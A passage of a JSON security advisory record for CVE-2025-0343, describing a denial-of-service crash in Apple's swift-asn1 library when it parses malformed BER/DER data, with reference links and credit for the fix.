"details": "Swift ASN.1 can be caused to crash when parsing certain BER/DER constructions. This crash is caused by a confusion in the ASN.1 library itself which assumes that certain objects can only be provided in either constructed or primitive forms, and will trigger a `preconditionFailure` if that constraint isn\u0027t met.\n\nImportantly, these constraints are actually required to be true in DER, but that correctness wasn\u0027t enforced on the early node parser side so it was incorrect to rely on it later on in decoding, which is what the library did.\n\nThese crashes can be triggered when parsing any DER/BER format object. There is no memory-safety issue here: the crash is a graceful one from the Swift runtime. The impact of this is that it can be used as a denial-of-service vector when parsing BER/DER data from unknown sources, e.g. when parsing TLS certificates.\n\nMany thanks to @baarde for reporting this issue and providing the fix.",
"id": "GHSA-w8xv-rwgf-4fwh",
"modified": "2025-01-15T15:26:01Z",
"published": "2025-01-14T16:32:07Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/apple/swift-asn1/security/advisories/GHSA-w8xv-rwgf-4fwh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-0343"
},
{
"type": "WEB",
"url": "https://github.com/apple/swift-asn1/commit/ae33e5941bb88d88538d0a6b19ca0b01e6c76dcf"
},
{
"type": "PACKAGE",
"url": "https://github.com/apple/swift-asn1"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "CVE-2025-0343: Swift ASN.1 can crash when parsing maliciously formed BER/DER"
}
No mitigation information available for this CWE.
No CAPEC attack patterns related to this CWE.